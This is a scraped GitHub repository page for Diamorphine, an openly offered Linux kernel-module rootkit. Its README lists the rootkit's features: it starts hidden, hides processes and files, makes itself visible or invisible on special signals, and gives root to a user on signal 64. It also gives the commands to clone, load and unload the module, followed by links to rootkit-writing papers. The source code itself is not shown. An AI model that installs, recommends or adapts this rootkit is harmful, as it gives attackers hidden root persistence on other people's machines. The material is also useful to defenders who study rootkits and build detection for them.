C Makefile
Switch branches/tags
Nothing to show
Clone or download
Latest commit ba97922 Mar 9, 2018
Failed to load latest commit information.
LICENSE.txt license... Nov 27, 2014
Makefile pushing the code Nov 6, 2013
README.md fix typo Apr 14, 2016
diamorphine.c more compatibity, working in kali with kernel 4.14 Mar 9, 2018
diamorphine.h remove nonused constants Mar 9, 2018



Diamorphine is a LKM rootkit for Linux Kernels 2.6.x/3.x/4.x


  • When loaded, the module starts invisible;

  • Hide/unhide any process by sending a signal 31;

  • Sending a signal 63(to any pid) makes the module become (in)visible;

  • Sending a signal 64(to any pid) makes the given user become root;

  • Files or directories starting with the MAGIC_PREFIX become invisble;

  • Source: https://github.com/m0nad/Diamorphine


Verify if the kernel is 2.6.x/3.x/4.x

uname -r

Clone the repository

git clone https://github.com/m0nad/Diamorphine

Enter the folder

cd Diamorphine



Load the module(as root)

insmod diamorphine.ko


The module starts invisible, to remove you need to make its visible

kill -63 0

Then remove the module(as root)

rmmod diamorphine


Wikipedia Rootkit https://en.wikipedia.org/wiki/Rootkit

Linux Device Drivers http://lwn.net/Kernel/LDD3/

LKM HACKING https://www.thc.org/papers/LKM_HACKING.html

Memset's blog http://memset.wordpress.com/

Linux on-the-fly kernel patching without LKM http://phrack.org/issues/58/7.html

WRITING A SIMPLE ROOTKIT FOR LINUX http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt

Linux Cross Reference http://lxr.free-electrons.com/